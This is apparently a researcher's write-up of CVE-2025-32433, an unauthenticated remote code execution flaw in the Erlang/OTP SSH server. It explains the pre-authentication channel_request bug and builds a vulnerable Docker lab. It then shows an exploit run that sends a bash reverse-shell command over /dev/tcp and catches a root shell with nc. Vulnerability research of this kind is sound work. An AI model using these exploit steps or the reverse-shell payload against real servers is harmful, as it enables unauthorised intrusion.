# OTP SSH - CVE-2025-32433

"_A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE)."_

The SSH server accepts and processes certain message types (like `channel_request`) **before authentication was complete** - in clear violation of the SSH protocol (RFC 4252 Section 6). This make it possible for a unauthenticated attacker to:

1. Open a TCP connection to the SSH server.
2. Send valid `SSH_MSG_KEXINIT`, then:
3. Skip authentication completely, and
4. Send a `channel_request` with `exec` and payload like:

```erlang
file:write_file(\"/payload.txt\", <<\"pwned\">>).
```

Which would eventually be passed into Erlang's evaluation path - resulting in **unauthenticated remote code execution**.

<figure><img src="https://2314265932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLZ9hPT4FtAP57VrTApYv%2Fuploads%2F8gL0VqOEDAxsXC6cPZNG%2Fimage.png?alt=media&#x26;token=636bfee8-7ac0-4e34-b819-1b56aa7900e5" alt=""><figcaption></figcaption></figure>

***

## Setup dev environment

Files needed, `ssh_server.erl` and `Dockerfile`:

```erlang
%% ssh_server.erl
-module(ssh_server).
-export([start/0]).

start() ->
    io:format("Starting vulnerable SSH server~n"),
    application:ensure_all_started(ssh),
    case ssh:daemon(2222, [
        {system_dir, "/root/ssh_keys"},
        {auth_methods, "password"},
        {pwdfun, fun(User, Pass) ->
            io:format("Login attempt ~p/~p~n", [User, Pass]),
            false
        end}
    ]) of
        {ok, Pid} ->
            io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]);
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end.
```

```bash
## Dockerfile
FROM debian:bookworm

WORKDIR /build

RUN apt-get update && apt-get install -y \
  git build-essential libssl-dev autoconf libncurses5-dev \
  libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
  libssh-dev libxml2-utils xsltproc fop wget curl \
  openssh-client

# Clone and build Erlang/OTP 26.2.5.10
RUN git clone https://github.com/erlang/otp.git && \
    cd otp && \
    git checkout OTP-26.2.5.10 && \
    ./configure --prefix=/usr && \
    make -j$(nproc) && \
    make install

WORKDIR /root

COPY ssh_server.erl .
RUN erlc ssh_server.erl

# Generate RSA key in PEM format that Erlang understands
RUN mkdir -p /root/ssh_keys && \
    ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N "" && \
    ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub

EXPOSE 2222

CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
```

Use the Dockerfile to setup a Docker container running the vulnerable Erlang OTP version 26.2.5.10. Note this will take a few minutes so be patient.&#x20;

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker build -t erlang-ssh . 
Sending build context to Docker daemon  74.75kB
Step 1/10 : FROM debian:bookworm

[... many minutes later ...]

Step 10/10 : CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
 ---> Running in ece5765314cc
 ---> Removed intermediate container ece5765314cc
 ---> 14c230c25701
Successfully built 14c230c25701
Successfully tagged erlang-ssh:latest

kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh             
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker container ls                                    
CONTAINER ID   IMAGE        COMMAND                  CREATED          STATUS          PORTS                    NAMES
cf0f300797ea   erlang-ssh   "erl -noshell -pa . …"   17 seconds ago   Up 16 seconds   0.0.0.0:2222->2222/tcp   erlang-ssh

kdev :: ~/erlang/CVE-2025-32433 ‹main› » nc 127.0.0.1 2222 -v
localhost [127.0.0.1] 2222 (?) open
SSH-2.0-Erlang/5.1.4.7
```

***

## POC || GTFO

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]

Exploit for CVE-2025-32433 (Erlang OTP SSH server).

options:
  -h, --help           show this help message and exit
  -d, --debug          Print raw response in hex format
  -t, --target TARGET  Target host (default: 127.0.0.1)
  -p, --port PORT      Target port (default: 2222)
  
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
```

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338

root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea
```

Exploit script can be found on my [git](https://github.com/0xPThree/cve-2025-32433/tree/main).

